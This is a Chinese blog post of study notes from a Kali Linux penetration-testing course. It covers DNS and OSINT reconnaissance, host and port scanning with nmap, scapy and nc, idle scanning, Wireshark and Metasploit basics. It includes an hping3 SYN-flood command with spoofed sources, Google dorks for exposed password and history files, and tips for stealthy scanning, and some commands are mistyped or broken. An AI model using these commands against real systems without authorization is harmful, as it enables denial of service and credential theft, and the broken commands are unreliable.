Kali Linux Notes

本贴最后更新于 1010 天前,其中的信息可能已经东海扬尘

cover.jpg

https://www.bilibili.com/video/BV17M4y1578y学习记录

Kali-Linux

Configurate IP

/etc/resolv.conf # DNS设置

Temporary

ifconfig x.x.x.x/netmask

Persistent

/etc/network/interfaces
systemctl restart networking

Configurate SSHD service to allow root login SSHD

/etc/sshd/sshd_config

PermitRootLogin yes

APT

Configurate apt mirror

清华大学

/etc/apt/sources.list

deb http://mirrors.tuna.tsinghua.edu.cn/kali/ kali-rolling contrib main non-free
deb-src http://mirrors.tuna.tsinghua.edu.cn/kali/ kali-rolling contrib main non-free

Kali Rolling: Kali 的及时更新版。

Kali Rolling 下有 3 类软件包分别为:

  • main
  • non-free
  • contrib

Kali apt 源的软件包类型说明:

dists 区域 软件包组件标准
main 遵从 Debian 自由软件指导方针(DFSG),并且不依赖于 non-free
contrib 遵从 Debian 自由软件指导方针(DFSG),并且依赖于 non-free
non-free 遵从 Debian 自由软件指导方针(DFSG)

P.S: DFSG 是 Debian 自由软件指导方针 (Debian Free Software Guidelines), 此方针中大体包括自由的再次发行、源代码、禁止歧视人士或者组织等规定

Diffs of Update

都是根据 update 命令获取最新的软件包列表

apt upgrade: 如果有依赖性问题,并且此依赖性需要安装其它的 package OR 影响到其它 package 的依赖性时,此 package 就**==不会被升级==**,会保留下来

apt dist-upgrade:可以聪明的解决依赖性问题,会自动安装/移除新的 package(通常来讲有一定的风险

image20220117223751267.png

信息收集

信息收集的方式可以分为两种: 被动和主动

  • 被动: 是指利用第三方的服务对目标进行访问了解
    • 如 Google
    • 优点: 通过公开渠道,去获得目标主机的信息,从而不与目标系统直接交互,避免留下痕迹。
  • 主动: 通过直接访问、扫描网站,这种将流量流经网站的行为。
    • 比如: nmap 扫描端口

信息收集内容

  1. IP 地址段
  2. 域名信息
  3. 邮件地址
  4. 文档图片数据
  5. 公司地址
  6. 公司组织架构
  7. 联系电话/传真号码
  8. 人员姓名/职务
  9. 目标系统使用的技术架构
  10. 公开的商业信息

信息用途

  1. 信息描述目标
  2. 发现目标
  3. 社会工程学攻击
  4. 物理缺口

被动信息收集

DNS

域名记录

A 记录 (Address) 正向解析

A 记录是将一个主机名(全称域名 FQDN)和一个 IP 地址关联起来。这也是大多数客户端程序默认的查询类型。

例: xuegod.cn-> 8.8.8.6

PTR 记录 (Pointer) 反向解析

与 A 记录相反

将一个 IP 地址对应到主机名(全称域名 FQDN)。

这些记录保存在 in-addr.arpa 域中。

CNAME 记录 (Canonical Name) 别名

别名记录,也称为规范名字 (Canonical Name)

这种记录允许将多个名字映射到同一台计算机

如:

www.xuegod.cn -> 8.8.8.6

web.xuegod.cn -> 8.8.8.6

MX 记录 (Mail eXchange)

邮件交换记录,它指向一个邮件服务器,用于电子邮件系统发邮件时根据收信人的地址后缀来定位邮件服务器。

例: mail.xuegod.cn

当有多个 MX 记录 (即有多个邮件服务器)时,则需要设置数值来确定其优先级。

通过设置优先级数字来指明首选服务器,数字越小表示优先级越高

NS 记录 (Name Server)

域名服务器记录,也称为授权服务器

用来指定该域名由哪个 DNS 服务器来进行解析。

例: dns.xuegod.cn

DNS 查询

递归查询迭代查询

8 个步骤:

image20220117230209554.png

DNS 查询命令
  1. nslooup domain
  2. dig <option> domain
    • @xxx.xxx.xxx.xxx: 指定特定 DNS 服务器
    • any: 输出所有记录,默认 A 记录
    • -x: 通过 IP 反向查询域名
查询 DNS 服务器你 bind 版本信息

查看域名服务器 ns3.dnsv4.com 使用 bind 的软件版本信息

dig txt 		chaos 	VERSION.BIND @ns3.dnsv4.com
    <记录类型>	 <类级别>
;; Warning: query response not set
;; Warning: Message parser reports malformed message packet.

; <<>> DiG 9.16.15-Debian <<>> txt chaos VERSION.BIND @ns3.dnsv4.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33161
;; flags: rd ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;VERSION.BIND.                  CH      TXT

;; ANSWER SECTION:
VERSION.BIND.           0       CH      TXT     "DNSPod AUTHORITY DNS 7.1.2106.02"  # 这是软件包版本信息

;; Query time: 10 msec
;; SERVER: 61.151.180.49##53(61.151.180.49)
;; WHEN: Tue Jan 18 19:26:37 CST 2022
;; MSG SIZE  rcvd: 75

查询网站的域名 注册信息 和 备案信息

注册信息
  1. 通过 web 接口查询:
  2. 通过命令行:
    • whois domain
备案信息
  1. https://icp.chinaz.com/
  2. https://tianyancha.com/

使用 Maltego 收集子域名信息

该工具的主要重点是分析通过互联网访问的数据之间的真实世界关系,其中包括足迹互联网基础设施和收集有关拥有该网络的人员和组织的数据。

通过使用**OSINT (开源情报)**技术,通过查询 whois 记录,社交网络, DNS 记录,不同的在线 API,提取元数据和搜索引擎来搜索这些数据之间的连接。

该工具将提供广泛的图形布局结果,允许对数据进行聚类,使关系准确和即时。

顶级域名 和 子域名

顶级域名

顶级域名是域名的最后一个部分,如 http://example.com/ 这个域名中,顶级域是 .com (或.COM)

  1. 通用顶级类别域名共 6 个,

    • 科研机构 .ac
    • 工商金融企业 .com
    • 教育机构 .edu
    • 政府部门 .gov
    • 互联网络信息中心 和 运行中心 .net
    • 非盈利组织 .org
  2. 国家及地区顶级域

    • 中国 .cn
    • 英国 .uk
  3. 地理顶级域名一般由各个国家或地区负责管理。

子域名

子域名(Subdomain Name)凡顶级域名前加前缀的都是该顶级域名的子域名

子域名根据技术的多少分为:

  • 二级子域名
  • 三级子域名
  • 多级子域名。

如: a.b.c.example.cn三级子域名

挖掘子域名的重要性

在防御措施严密情况下无法直接拿下主域,那么就可以采用迂回战术拿下子域名,然后无限靠近主域。

例如:

www.xxxxx.com 主域不存在漏洞,并且防护措施严密

而二级域名 edu.xxxxx.com 存在漏洞,并且防护措施松散

  1. 子域名挖掘工具: Maltego 子域名挖掘机

  2. 搜索引擎挖掘如: 在 Google 中输入 site:qq.come

  3. 第三方网站查询:

  4. 证书透明度公开日志枚举:

  5. 其他途径:

使用 Maltego CE 进行子域名挖掘

使用 Shodan 信息收集

虽然目前人们都认为谷歌是最强劲的搜索引擎,但 Shodan 才是互联网上最可怕的搜索引擎。

与谷歌不同的是, Shodan 不是在网上搜索网址,而是直接进入互联网背后的通道。

Shodan 可以说是一款"黑暗"谷歌,一刻不停的在寻找着所有和互联网关联的服务器、摄像头、打印机、路由器等等。还可以直接显示出目标的具体地理位置信息

Shodan Search Engine

技巧

Webcam

IP 地址

net xxx.xxx.xxx.xxx

端口

port: 8888

  • 3389
  • 9200: 日志分析相关
  • 3000
具体城市

city: Beijing

Google 搜索引擎的使用技巧

常用语法:

语法 说明
site 指定域名
==inurl== URL 中存在的关键词页面
==intitle== 网页标题中的关键字
intext 网页内容里面的关键字
Filletype 指定文件类型
link 返回你所有的指定域名链接
info 查找指定站点信息
cache 搜索 Google 里的内容缓存
  1. intitle:index.of .bash_history

    • index.of: 表示包含 index.of 字段,出现该字段表示网站目录是对我们开放的
    • .bash_history: 表示我们要筛选的文字名称
  2. 查找 mysql 配置文件 my.cnf: intitle:index.of my.cnf

  3. 查找 mysql 密码的配置文件: intitle:index.of config_global.php

  4. 删除的页面可以通过 cache 访问: cache:xuegod.cn

  5. name filetype:torrent

  6. name site:xxx

组合使用技巧

  1. intext:user.sql intitle:index.of
    • intext:user.sql: 查询包含 user.sql 用户数据库信息的页面
    • intitle:index.of : 表示网站目录是开放状态
  2. s3 site:amazonaws.com filetype:xls password
    • s3: 亚马逊的一种服务器类型
    • site: amazonaws.com : 目标是亚马逊平台
    • filetype:xls password:文件类型 xls 包含密码的文件
说明 地址
美国著名安全公司 Offensive Security 的漏洞库 [比较及时] http://www.exploit-db.com
赛门铁克的漏洞库(国际权威漏洞库) http://www.securityfocus.com
国家信息安全漏洞共享平台 http://www.cnvd.org.cn/
国内安全厂商-绿盟科技 http://www.nsfocus.net/
俄罗斯知名安全实验室 https://www.securitylab.ru/vulnerability/CVE
常见漏洞和披露 http://cve.mitre.org/
信息安全漏洞门户 http://vulhub.org.cn/index
安全客 https://www.anquanke.com/
美国国家信息安全漏洞库 https://nvd.nist.gov/
知道创宇漏洞库 https://www.seebug.org/

主动信息收集

原理

特点

  1. 直接与目标系统交互通信
  2. 无法避免留下访问的痕迹
  3. 使用受控的第三方电脑进行探测, 使用代理或已经被控制的机器,做好被封杀的准备
  4. 扫描发送不同的探测, 根据返回结果判断目标状态

过程

  1. 识别存活主机,发现潜在的被攻击目标
  2. 输出一个 IP 地址列表 (比如 IP 地址段****IP 地址范围)
  3. 使用二、三、四层进行探测发现

OSI 七层模型 和 TCP/IP 五层模型

image20220119204532610.png

对应的网络设备关系

image20220119205559625.png

对应的协议关系

image20220119205650760.png

  1. 二层扫描

    • <u> 优点 </u>
      • 扫描速度快
      • 可靠
    • <u> 缺点 </u>
      • 不可路由
  2. 三层扫描的优缺点优点

    • <u> 优点 </u>

      • 可路由
      • 速度较快
    • <u> 缺点 </u>

      • 速度比二层
      • 经常被边界防火墙过滤
    • 使用 IP、icmp 协议

  3. 四层扫描:

    • <u> 优点 </u>
      • 可路由 且 结果可靠
      • 太可能被防火墙过滤
      • 可以发现所有端口都被过滤的主机
    • <u> 缺点 </u>
      • 基于状态过滤的防火墙可能会过滤扫描
      • 全端口扫描速度

基于 PING 命令的探测

  • PING
  • Traceroute
  • ARPING
  • FPING
  • HPING

ARPING

ARP

ARP: ARP 协议是"Address Resolution Protocol" (地址解析协议的缩写

计算机通过 ARP 协议将 IP 地址转换成 MAC 地址

==工作原理==

在以太网中,数据传输的目标地址是 MAC 地址

一个主机要和另一个主机进行直接通信,必须要知道目标主机的 MAC 地址

计算机使用者遍常只知道目标机器的 IP 信息

地址解析: 主机在发送顿前将目标 iP 地址转换成目标 MAC 地址的过程。

简单地说,ARP 协议主要负责将局域网中的 32 位 IP 地址转换为对应的 48 位物理地址

即网卡的 MAC 地址,保障通信顺利进行。

image20220119211818678.png

https://www.bilibili.com/video/BV17M4y1578y?p=21&t=98.6

https://zhidao.baidu.com/question/424393648844562772.html

  1. 每个主机都会在自己的 ARP 缓冲区中建立一个 ARP 列表,以表示 IP 地址和 MAC 地址之间的对应关系。

  2. 当源主机要发送数据时,首先检查 ARP 列表中是否有对应 IP 地址的目的主机的 MAC 地址

    如果有,则直接发送数据;如果没有,就向本网段的 <u> 所有主机 </u> 发送 ARP 数据包

    该数据包包括的内容有:源主机 IP 地址 源主机 MAC 地址 目的主机的 IP 地址

  3. 当本网络的所有主机收到该 ARP 数据包时,首先检查数据包中的 IP 地址是否是自己的 IP 地址,如果不是,则忽略该数据包;否则,则首先从数据包中取出 源主机的 IPMAC 地址 写入到 ARP 列表中,然后将自己的 MAC 地址写入 ARP 响应包中,告诉源主机自己是它想要找的 MAC 地址。

  4. 源主机收到 ARP 响应包后。将目的主机的 IP 和 MAC 地址写入 ARP 列表,并利用此信息发送数据。如果源主机一直没有收到 ARP 响应数据包,表示 ARP 查询失败。

    广播发送 ARP 请求,单播发送 ARP 响应

使用 arping 命令查看局域网中的 IP 是否冲突

arping ip -c 1

利用 arping 扫描局域网

这里可以将 192.168.1.1 用 for 循环遍历 0-254

arping 192.168.1.1 -c 1 | grep "bytes from" | cut -d " " -f 5 | cut -d "( -f 2 | cut -d ")" -f 1

如果有 ip 冲突则会显示两个及以上

ifconfig eth0 192.168.1.1

使用 netdiscover 进行 <u> 被动方式 </u> 探测局域网中存活的主机

netdiscover 是一个主动/被动的 ARP 侦查工具

使用 netdiscover 工具可以在网络上扫描 IP 地址 检查在线主机搜索为它们发送的 ARP 请求

主动模式:主动模式顾名思义就是主动的探测发现网络内主机,但是这种方式往往会引起网络管理员的注意

主动模式 (速度快)

netdiscover -i eth0 -r 192.168.1.0/24

被动模式 (速度较慢)

网卡被设置为混杂模式侦听网络内的 arp 数据包进行被动式探测

这种方式就需要网络内设备发送 arp 包才能被探测到

netdiscover -p

HPING3

是一个命令行下使用的 TCP/IP 数据包 组装/份析工具

通常 web 服务会用来做压力测试使用,也可以进行 DOS 攻击的实验

Hping 只能每次扫描一个目标

hyping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source url

-c : 发送数据包数量

-S: 发送 SYN 数据包

-d: 发送数据包大小

-w: TCP 窗口大小 (byte)

-p: 端口

--flood: 尽可能块的发送数据包,不需要考虑是否回复

--rand-source: 伪造 IP 地址(在局域网内伪造) 在外网还是真实 IP 地址

FPING 查看局域网中运行了哪些机器

ping 命令加强版

它可以对一个 IP 段进行 ping 扫描

而 ping 命令本身是不可以对网段进行扫描的。

fping -g 192.168.1.0/24 -c 1 > fping.txt

fping -g 192.168.1.1 192.168.1.254 -c 1 > fping.txt

基于 Nmap 的扫描方式

nmap -sn 192.168.1.0/24

nmap -sn 192.168.1.1-254

-sn: 只实现 ping 的功能

进行 <u> 半连接 </u> 扫描(端口)

nmap 扫描类型主要有 TCP 的:

  • 全连接扫描(会在扫描机器留下记录 3 次握手)
  • 半连接(不会留下记录 2 次握手)

image20220119220954701.png

RST: RESET 强制关闭连接

nmap -sS -p 80,81,21,25,110,443

-sS: 半连接扫描

使用 nc 扫描端口

netcat 的简写,有着网络界的瑞士军刀美誉。

因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具。

  1. 实现任意 TCP/UDP 端口的侦听: nc 可以作为 serverTCPUDP 方式侦听指定端口
  2. 端口的扫描: nc 可以作为 client 发起 TCP UDP 连接
  3. 机器之间传输文件
  4. 机器之间网络测速

nc 参数

  • -nv: 不做域名解析 (扫描目标是个 IP)
  • -w: 超时时间 (second)
  • -z: 进行端口扫描

nc -nv -w 1 -z 192.168.1.1 1-100

使用 scapy 定制数据包进行高级扫描

一个可以让用户发送监听解析并伪装网络报文的 Python 程序。

这些功能作检测扫描攻击网络的工具

定制 ARP 协议

ARP().display()

###[ ARP ]###
  hwtype= 0x1  # 硬件类型
  ptype= IPv4  # 协议类型 (网络层)
  hwlen= None  # 硬件地址长度 (MAC)
  plen= None   # 协议地址长度 (IP)
  # 1: 请求包 2: 响应包
  op= who-has  # who-has查询 ARP数据包类型
  hwsrc= 00:0c:29:70:5c:06  # 源MAC地址 
  psrc= 192.168.3.53		# 源IP地址
  hwdst= 00:00:00:00:00:00  # 目标MAC地址
  pdst= 0.0.0.0				# 向谁发送查询请求

IP().display()

###[ IP ]### 
  version= 4  # 版本: 4 -> IPV4
  ihl= None   # 首部长度
  tos= 0x0    # 服务 (流量标记)
  len= None	  # 总长度
  id= 1		  # 表示
  flags=      # 1, 0 是否要分片(超过1500byes) 会进行分片
  frag= 0     # 标志
  ttl= 64     # 生存时间 防止环路 每经过一个网络设备-1 为0时自动抛弃
  proto= hopopt  # 传输控制协议 IPV4
  chksum= None   # 首部校验地址和
  src= 127.0.0.1
  dst= 127.0.0.1
  \options\

ICMP().display()

###[ ICMP ]### 
  type= echo-request  # 类型,表示ICMP报文类型
  code= 0			  # 代码
  chksum= None		  # 校验和
  id= 0x0			  # 标识
  seq= 0x0

TCP().display()

###[ TCP ]### 
  sport= ftp_data  # TCP源端口
  dport= http	   # TCP目的端口
  seq= 0		   # 32位序列号
  ack= 0		   # 32位确认序号
  dataofs= None	   # 4位首部长度
  reserved= 0	   # 保留6位
# 标志域,紧急标志、有意义的应答标志、推、重置连接标志、同步序列号标志、完成发送数据标志。
# URG、ACK、PSH、RST、SYN、FIN
  flags= S
  window= 8192     # 窗口大小
  chksum= None	   # 16位校验和
  urgptr= 0		   # 优先指针
  options= []	   # 选项

sr1(): 发送接收数据包的功能

sr1(ARP(pdst='192.168.1.1'))

发送 ping 包

IP() 生成 ping 包的 源 IP目标 IP,ICMP()生成 ping 包的类型

使用 IP()ICMP() 两个函数,可以生成 ping 包,进行探测

思路:

  1. 修改 IP 包头的 dst,也就是目标地址
  2. 拼接上 ICMP 的数据包类型
  3. 使用 sr1() 进行发送接收 数据包

sr1(IP(dst='192.168.3.1')/ICMP(), timeout=1)

TCP SYN 请求

image20220120072138282.png

sr1(IP(dst='192.168.3.1')/TCP(flags='S', dport=80), timeout=1)

僵尸扫描

具有极高的隐蔽特性,但事实是条件苛刻

  1. 目标网络可伪造源地址进行访问
  2. 选择僵尸机,需要在互联网上是一个闲置的操作系统,需要系统使用递增的 IPID,比如 XP 系统

互动:

nmap和ping都会直接和目标机器接触。如何可以不直接与目标主机接触,还可以探测出目标主机是否

开放端口

image20220120182538831.png

前提是你在公网或局域网上先拿到了肉机 <u> 僵尸扫描可以不拿到肉机权限,只要对方的 IPID 是自增长上的 </u> 就可以了。

做渗透最重要是什么?思维!

学僵尸扫描实用性不大,但是僵尸扫描的这个种思维值得你学习。

僵尸主机:僵尸主机是指感染僵尸程序病毒,从而被黑客程序控制的计算机设备。

僵尸扫描中的僵尸主机指得是一个闲置的操作系统 (这里的闲置是指主机不会主动和任何人通信),且此系统中 IP 数据包中 ID 是递增的。

IPID: 通信过程中,IP 数据包中的 ID

理论

image20220120183410785.png

https://www.bilibili.com/video/BV17M4y1578y?p=25&t=366.7

  1. **<u>==知道了僵尸主机的 IPID==</u>**

    1. 击者向僵尸机发送 SYN/ACK 确认包。
    2. 僵户主机返回我们 RST 数据包关闭链接,RST 数据包中包含了 IPID 信息。假设 IPID=x
  2. **<u>==如果目标主机端口开放,让僵尸主机的 IPID+1==</u>**

    1. 攻击者修改 IP 包头的 SRC 字段为僵尸主机的 IP,伪装成僵尸主机给目标主机发 SYN 请求。
    2. 目标主机收到请求,如果**<u> 端口是开放 </u>**的就会返回给僵尸主机一个 SYN/ACK 的数据包。
    3. 僵尸主机收到目标主机发来的 SYN/ACK 确认包,<u> 因为僵尸主机没有给你发 SYN 请求 </u>。所以僵尸主机给目标主机返回了一个 RST 数据包。此僵尸主机对外发出一个数据包,所以僵尸主机的 IPID 值 +1,此时 IPID 值为 x+1
  3. 参考图三

    1. 攻击者再次向僵尸主机发送 SYN/ACK 确认包
    2. 僵尸主机同样向攻击者返回了一个 RST 数据包,此僵尸主机对外又发出一个数据包,所以僵尸主机的 IPID 值再 +1,此时 IPID 值为 x+2.
  4. **<u>==肯定目标主机和僵尸主机通信了,能通信,就说明目标主机端口是开放的==</u>**

    1. 攻击者查看僵尸主机返回的数据包中 IPID 值为 x+2
    2. 攻击者对比在第一步中的 IPID 值 x,发现增加了 2
    3. 计算 3 次通信过中的 IPID 值。

注:三次握手的第一个包是 SYN,目标主机收到 SYN 才会应答 SYN/ACK,因为僵尸主机没有向我们发送 SYN 请求。所以僵尸主机返回我们 RST 数据包关闭链接。

判定关闭状态: 如果端口是关闭的,那么 2.2 就会发 RST 包,至此 Zombie 机也不会返回。

实践

192.168.1.54: 僵尸主机

192.168.1.63: 目标主机

set IPID = 0

rz1=sr1(IP(dst="192.168.1.54")/TCP(dport=445, flags="SA"))

SA: SYN/ACK

RST

IPID = 1

rt=sr1(src="192.168.1.54", dst="192.168.1.63")/TCP(dport=445), timeout=1)

请求 445 SYN

if 445 open -> 192.168.1.63 send SYN/ACK -> 192.168.1.54 send RST -> 192.168.1.63

RST

==1:== IPID = 2

else -> 192.168.1.63 send RST -> 192.168.1.54

==2:== IPID = 1

rz2=sr1(dst="192.168.1.54")/TCP(dport=445, flags="SA"), timeout=1)

RST

==1:== IPID = 3 端口 443**开放**

==2:==IPID = 2 端口 443 关闭

利用 nmap 进行僵尸扫描

  1. 扫描 192.168.1.0 网段中某些机器可以作为僵尸主机

nmap 192.168.1.0/24 -p1-1024 --script=ipidseq.nse > a.txt

如果是

All zeros 那么就不是自增的,如果是 Increamental 就是自增的。

  1. 扫描 192.168.1.163 的端口

nmap 192.168.1.63 -sI 192.168.1.54 -p1-100


-sI: 僵尸主机 IP

WireShark

WireShark 快速分析数据包技巧

  1. 确定 Wireshark 的物理位置

    • 如果没有一个正确的位置,启动 Wireshark 后会花费很长的时间捕获一些与自己无关的数据。
  2. 选择捕获接口

    • 一般都是选择连接到 Internet 网络的接口,这样才可以捕获到与网络相关的数据。否则,捕获到的其它数据对自己也没有任何帮助。
  3. 使用捕获过滤器

    • 通过设置捕获过滤器,可以避免产生过大的捕获数据。这样用户在分析数据时,也不会受其它数据干扰。而且,还可以为用户节约大量的时间。
  4. 使用显示过滤器

    • 通常使用捕获过滤器过滤后的数据,往往还是很复杂。为了使过滤的数据包再更细致,此时使用显示过滤器进行过滤。
  5. 使用着色规则

    • 通常使用显示过滤器过滤后的数据,都是有用的数据包。如果想更加突出的显示某个会话,可以使用==着色规则高亮显示==。
  6. 构建图表

    • 如果用户想要更明显的看出一个网络中数据的变化情况 1 使用图表的形式可以很方便的展现数据分布情况。
  7. 重组数据

    • 当传输较大的图片或文件时,需要将信息分布在多个数据包中。这时候就需要使用,重组数据的方法来抓取完整的数据。Wireshark 的重组功能,可以重组一个会话中不同数据包的信息,或者是重组一个完整的图片或文件。

常见协议包

  • ARP 协议
  • ICMP 协议
  • TCP 协议
  • UDP 协议
  • DNS 协议
  • HTTP 协议

混杂&普通模式

  1. 混杂模式:接收所有经过网卡的数据包,包括不是发给本机的包,即不验证 MAC 地址。
  2. 普通模式:下网卡只接收发给本机的包(包括广播包)传递给上层程序,其它的包一律丢弃。

一般来说,混杂模式不会影响网卡的正常工作,多在网络监听工具上使用。

过滤器(filter)

TCP

tcp: 过滤 TCP 数据包

tcp.flags.syn == 1: 过滤 TCP 中的 syn 数据包

UDP

我们使用过滤器输入“udp”以筛选出 udp 报文。但是为什么输入 udp 之后出现那么多种协议呢?
原因就是 oicq 以及 dns 都是基于 udp 的传输层之上的协议

拓展:

扩展:客户端向 DNS 服务器查询域名!一般返回的内容都不超过 512 字节,用 UDP 传输即可。不
用经过三次握手,这样 DNS 服务器负载更低,响应更快。理论上说,客户端也可以指定向 DNS 服务器查询时用 TCP,但事实上,很多 DNS 服务器进行配置的时候,仅支持 UDP 查询包。

ARP

IP

筛选源地址(src)是 192.168.1.53 OR 目的地址(dest)是 192.168.1.1

ip.src_host == 192.168.1.53 or ip.dst_host == 192.168.1.1


ip.addr: 包括 src 与 dest

使用 WireShark 对常用协议抓包并分析原理

https://www.bilibili.com/video/BV17M4y1578y?p=29

ICMP

ICMP 协议请求包

image20220121185345892.png

ICMP 协议应答包

image20220121185515362.png

工作过程:

本机发送一个 ICMP Echo Request 的包接受方返回一个 ICMP Echo Reply,包含了接受到数据烤贝和一些其他指令

TCP

https://www.bilibili.com/video/BV17M4y1578y?p=31

关闭连接 四次握手

我们分析一下过程,我们在终端输入 EXIT 实际上是在我们 Kali 上执行的命令,表示我们 SSHD 的
Server 端向客户端发起关闭链接请求。

image20220121192243210.png

  1. 服务端发送一个[FIN+ACK],表示自己没有数据要发送了,想断开连接,并进入 FINWAIT_1 状态。
  2. 客户端收到 FIN 后,知道不会再有数据从服务端传来,发送 ACK 进行确认,确认序号
    为收到序号 +1(与 SYN 相同,一个 FIN 占用一个序号),客户端进入 CLOSE_WAIT 状态。
  3. 客户端发送[FIN+ACK]给对方,表示自己没有数据要发送了,客户端进入 LAST_ACK 状态,然后直接断开 TCP 会话的连接,释放相应的资源
  4. 服务户端收到了客户端的 FIN 信令后,进入 TIMED_WAIT 状态,并发送 ACK 确认消息。服务端在 TIMEDWAIT 状态下,等待一段时间,没有数据到来,就认为对面已经收到了自己发送的 ACK 并正确关闭了进入 CLOSE 状态,自己也断开了 TCP 连接,释放所有资源。当客户端收到服务端的 ACK 回应后,会进入 CLOSE 状态并关闭本端的会话接口,释放相应资源

Time to live exceeded 原因

TTL (Time-To-Live):数据报文的生存周期

默认 linux 操作系统值:64,每经过一个路由节点,TTL 值减 1。

TTL 值为 0 时,说明目标地址不
可达并返回:Time to live exceeded
作用:防止数据包,无限制在公网中转发(发生环路)。我们测试结果

通过 TTL,可以得知从 A -> B 之间经过了多少个网路设备

Reply from 139.159.241.37: bytes=32 time=35ms TTL=101

Windows 下默认 TTL 值大小为 128,那么就是 128 - 101 = 27,经过了 27 个网路设备

NMAP 高级使用技巧

nmap 是一个网络探测和安全扫描程序,系统管理者和个人可以使用这个软件扫描大型的网络,获取那台主机正在运行以及提供什么服务等信息。

nmap 支持很多扫描技术,例如:UDP、TCP connectO、TCPSYN(半开扫描)、ftp 代理(bounce 攻击)、反向标志、ICMP、FIN、ACK 扫描、圣诞树(XmasTree)、SYN 扫描和 null 扫描。还可以探测操作系统类型。

nmap 可用于:

  • 检测活在网络上的主机(主机发现)
  • 检测主机上开放的端口(端口发现或枚举)
  • 检测到相应的端口(服务发现)的软件和版本
  • 检测操作系统,硬件地址,以及软件版本
  • 检测脆弱性的漏洞(Nmap 的脚本)

NMAP 端口状态解析

端口扫描是 Nmap 最基本最核心的功能,用于确定目标主机的 TCP/UDP 端口的开放情况。

  • <u> Open </u>:应用程序在该端口接收 TCP 连接或者 UDP 报文。

  • <u> Closed </u>:关闭的端口对于 nmap 也是可访问的,它接收 nmap 探测报文并作出响应。但没有应用程序在其上监听。

  • <u> Fltered </u>:由于包过滤阻止探测报文到达端口:nmap 无法确定该端口是否开放。

    过滤可能来自专业的防火墙设备,路由规则或者主机上的软件防火墙。

  • <u> Unfiltered </u>:未被过滤状态意味着端口可访问,但是 nmap 无法确定它是开放还是关闭。

    只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态。

  • <u> Open l Filitered </u>:无法确定端口是开放还是被过滤,开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。

    UDP,IP 协议,FIN,Null 等扫描会引起。

  • <u> Closedl | Filtered </u>:(关闭或者被过滤的):无法确定端口是关闭的还是被过滤的。

语法及实例

语法:nmap[ScanType(s)][Optionsls

  1. 使用 nmap 扫描一台服务器
    默认情况下,Nmap 会扫描 1000 个最有可能开放的 TCP 端口。
    nmap ip

  2. 显示详细信息 (verbose)

    nmap -v ip

  3. 扫描端口范围

    nmap -p 1-65535 ip

  4. 不认识这个服务,查看哪个进程使用了这个端口并找出进程的路径,然后 kil 进程,删除文件,接下来以 22 端口为例,操作思路如下:

    lsof -i :port
    ps -aux | grep port
    

注:看到进程的文件的路径是/usr/sbin/sshd。如果没有看到此命令的具体执行路径,说明此木马进程可以在 bash 终端下直接执行,通过 whichrpm-qf 来查看命令的来源,如下:

which command

总结:这个思路主要用于找出黑客监听的后门端口和木马存放的路径。

  1. nmap -sS -O ip

    -O (Operation System): 显示出操作系统的类型。每一种操作系统都有一个指纹。

    -sS: 半开扫描(half-open)可以不再目标主机留下痕迹

    当服务器端口开放时,半连接扫描过程如图 1

    当服务器端口关闭时,半连接扫描过程如图 2
    image20220121223524088.png

  2. 扫描一个网段的所有机器

    nmap 192.168.1.0/4

  3. 查找一些有特点的 IP 地址中,开启 80 端口的服务器

    nmap -p port ip

  4. 如何更隐藏的去扫描,频繁扫描会被屏蔽或者锁定 IP 地址

    --randomize_hosts: 随机扫描,对目标主机的顺序随机划分
    image20220126224436657.png

    --scan-delay: 延时扫描,单位秒,调整探针之间的延退

    nmap --scan-delay 1000ms ip

  5. 使用通配符指定 IP

    nmap 192.168.1.*

zenmap

  1. Intense scan

    nmap -T4-A -V

-A: 完全扫描,对操作系统和软件版本号进行检测,并对目标进行 traceroute 路由探测,-0 参数
仅识别目标操作系统,并不做软件版本检测和路由探测。
-T4: 指定扫描过程使用的时序(Timing),总有 6 个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或 IDS 检测并屏蔽掉,在网络通讯状况良好的情况推荐使用 T4
-V: 表示显示元余(verbosity)信息,在扫描过程中显示扫描的细节,从而让用户了解当前的扫描状态。

  1. Intense scan plus UDP

    nmap -sS -SU -T4 -A -v
    即 UDP 扫描

-SS: TCP SYN 扫描
-SU: UDP 扫描

  1. Intense scan, all TCP ports

    nmap -p- -T4 -A -V

    扫描所有 TCP 端口,范围在 1-65535,试图扫描所有端口的开放情况,速度比较慢。

-p-: 1-65535

  1. Intense scan, no pings nmap-T4-A-V-Pn
    非 ping 扫描

-Pn: 非 ping 扫描

  1. Ping scan

    nmap -sn
    Ping 扫描
    优点:速度快。
    缺点:客易被防火墙屏蔽,导致无扫描结果。

-sn: ping 扫描

  1. Quick scan nmap -T4 -F
    快速的扫描,常见的 100 个端口

-F: 快速模式

  1. Quick scan plus nmap -sV -T4 -O -F --version-light
    快速扫描加强模式。

-sV: 探测端口及版本服务信息。
-0: 开启 05 检测
--version-light: 设定侦测等级为 2

  1. Quick trace route nmapsn--traceroute
    路由跟踪

-sn: Ping 扫描,关闭端口扫描
-traceroute: 显示本机到目标的路由跃点。

  1. Regular scan (常规扫描)
  2. Slow comprehensive scan

nmap -sS -sU -T4 -A -v -PE -PP -PS80,443,-PA3389,PU40125 -PY -g 53 --scriptall

慢速全面扫描

Metaspoit 渗透测试框架基本使用

image20220122173402510.png

  1. 基础库:metasploit 基础库文件位于源码根目录路径下的 libraries 目录中,包括 Rex , framework-core, framework-base 三部分。

    • Rex 是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgresQL 以及 MySQL 数据库支持等;
    • framework-core 库负责实现所有与各种类型的上层模块及插件的交互接口;
    • framework-base 库扩展了 framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块。
  2. 模块:模块组织按照不同的用途分为 6 种类型的模块(Modules):

    • 辅助模块(Auxiliary)
    • 渗透攻击模块(Exploits)
    • 后渗透攻击模块(Post)
    • 攻击载荷模块(payloads)
    • 编码器模块(Encoders)
    • 空指令模块(Nops)

注:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以进行程序注入等。

